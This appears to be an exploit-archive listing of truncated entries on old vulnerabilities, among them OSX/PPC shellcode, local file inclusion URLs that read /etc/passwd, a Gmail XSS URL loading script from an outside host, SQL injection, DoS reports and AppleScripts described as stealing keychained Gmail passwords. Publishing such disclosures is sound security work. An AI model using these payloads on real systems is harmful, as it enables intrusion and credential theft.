OSX/PPC - execve(/bin/sh,[/bin/sh],NULL) + exit() Shellcode (72 bytes)

OSX/PPC - execve/bin/sh,/bin/sh,NULL + exit Shellcode 72 bytes. Shellcode exploit for OSXPPC platform / MacOSX/PowerPC Shellcode for: execve"/bin/sh", "/bin/sh", NULL, exit 72 bytes hophet at gmail.com http://www.nlabs.com.br/hophet/ / include "stdio.h" include "string.h" char shellcode =...

Pre Job Board Database Disclosure

--------------------------------------------------------- Portal Name: Pre Job Board Vendor : http://www.preproject.com/preaspjobboard.asp Author : PouyaServer , [email protected] Vulnerability : DD --------------------------------------------------------- DD: http://site.com/Path/db/pre.mdb...

HarlandScripts drinks (recid) Remote SQL Injection Velnerability

No description provided by source. =========================================== Drinks script. -------------------------------------------------------------------------------------- Vendor: http://www.fivedollarscripts.com Demo: http://www.fivedollarscripts.com/drinks/index.php Notified: No...

Using MS08-0 5 8 attack Google-bug warning-the black bar safety net

From: 80sec Vulnerability description:Google is the largest search engine. While Google owns the other large WEB application product line, to EMAIL, BLOG, online documents, personal home pages, electronic maps, discussion forums, RSS, etc. the Internet almost all of the application services. 80se...

adv93-K-159-2008.txt

ECHOADV93$2008 ----------------------------------------------------------------------------------------- ECHOADV93$2008 Kmita Tellfriend = 2.0 file Remote File Inclusion Vulnerability ----------------------------------------------------------------------------------------- Author : M.Hasran...

travelsized-lfi.txt

travelsized cms 0.4.1 multiple local file inclusion vulnerabilities download http://sourceforge.net/projects/uberghey/ author muuratsalo contact muuratsaloatgmail.com exploits http://localhost/travelsized-0.4.1/index.php?pageid=../../../../../../../../../../etc/passwd%00...

plutostatus-lfi.txt

PlutoStatus Locator v1.0pre alpha local file inclusion vulnerability download http://sourceforge.net/projects/plutostatus/ author muuratsalo contact muuratsaloatgmail.com exploit http://localhost/locator/index.php?page=../../../../../../../../../../etc/passwd%00...

Scribe 0.2 - index.php Local File Inclusion

Scribe 0.2 - index.php Local File Inclusion scribe 0.2 local file inclusion vulnerability download http://sourceforge.net/projects/scribe/ author muuratsalo contact muuratsaloatgmail.com exploit http://localhost/0.2/index.php?page=../../../../../../../../../../etc/passwd%00 milw0rm.com 2008-02-14...

jetAudio <= 7.0.5 (.ASX) Remote Stack Overflow

Application: jetAudio 7.0.5 .ASX Remote Stack Overflow Web Site: http://www.cowonamerica.com/download/ Platform: Windows Bug:Remote Stack Overflow Extension: ASX special condition: none ------------------------------------------------------- 1 Introduction 2 Bug 3 Proof of concept 4 Credits...

xeCMS 1.x - view.php Remote File Disclosure

xeCMS 1.x - view.php Remote File Disclosure -------------------------------------------------------------- xeCMS 1.x.x Remote File Disclosure Vulnerability. -------------------------------------------------------------- download : http://xecms.sunsite.dk/ author : p4imi0 contact : [email protected]...

GMail Mobile DoS

DoS on large message recevied during composing the message...

[Full-disclosure] Gmail 1.1.0 for BlackBerry remote DoS

I have tested and confirmed this bug on a BlackBerry 8700c in a repeatable fashion. Three outcomes are common so may be race condition... 1 Entire BlackBerry OS freeze. On soft-reboot, you will see the uncaught Java exception for Gmail app 2 Gmail freezes for some time, and then OS can recover...

Google Gmail cross-site request forgery vulnerability

Overview According to public reports, Google Gmail contained a cross-site request forgery XSRF vulnerability that allowed attackers to create email filters that could forward mail and attachments to arbitrary email addresses. Description Google Gmail is a web-based mail service. Gmail provides...

gmailsteal_remote.scpt.txt

-- This script can be used to steal gmail's keychained password by injecting -- Javascripts into Safari. When executed it opens gmail's login page, reads -- saved password and sends it to a logging server by creating an hidden iframe -- into gmail's page. It can be easly modified to steal other...

gmailsteal_local.scpt.txt

-- This script can be used to steal gmail's keychained password by injecting -- Javascripts into Safari. When executed it opens gmail's login page, reads -- saved password and prompts it into an alert box. -- It can be easly modified to steal other pass. -- poplix papuasia.org --...

gcaldaemon-dos.txt

Secure Network - Security Research Advisory Vuln name: GCALDaemon Remote DoS Systems affected: GCALDaemon 1.0-beta13 all platforms Systems not affected: - Severity: Low Local/Remote: Remote Vendor URL: http://gcaldaemon.sourceforge.net/ Authors: Luca "ikki" Carettoni -...

photostand120-xss.txt

Photostand1.2.0 Multiple Cross Site Scripting Vendor site : http://www.photostand.org/ Global risk : medium XSS ----- + Permanents Message & name fields are vulnerable to xss attacks. This kind of xss are pretty dangerous,because anyone who see the page gone get his cookie stolen and sended to th...

google-XSS.txt

Discovered :SwEET-DeViL XSS in gmial google Exploit : http://mail.google.com/mail/?view=pr&%20%22%3E%3Cscript%20src%3Dhttp%3A//www.xxxx.com/%3E%3C/script%3E&fs=1 Regards I thank all our friends //Hacker sUn and viP HaCkEr /...

rateme-rfi.txt

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + ;;ii,,:: + + :::: :: ;;tt;;:: + + ;;:: ..,,:: ;;ii,,:: + + ,,,, ii;;,, ii;;:: ;;ii,,:: + + ii:: tt;;,, ..tt;;,,.. ;;ii;;:: + + ii,,:: ttii,, ..ff;;;;:: ;;ii;;:: + + tt;;::..,, tt;;,, ff;;;;...

CVE-2006-6182

The Gabriele Teotino GNotebook 0.7.0.1 gadget for Google Desktop stores Gmail passwords in plaintext in the %SYSTEMDRIVE%\temp\Gnotebook.txt log file, which allows local users to obtain passwords by reading the file...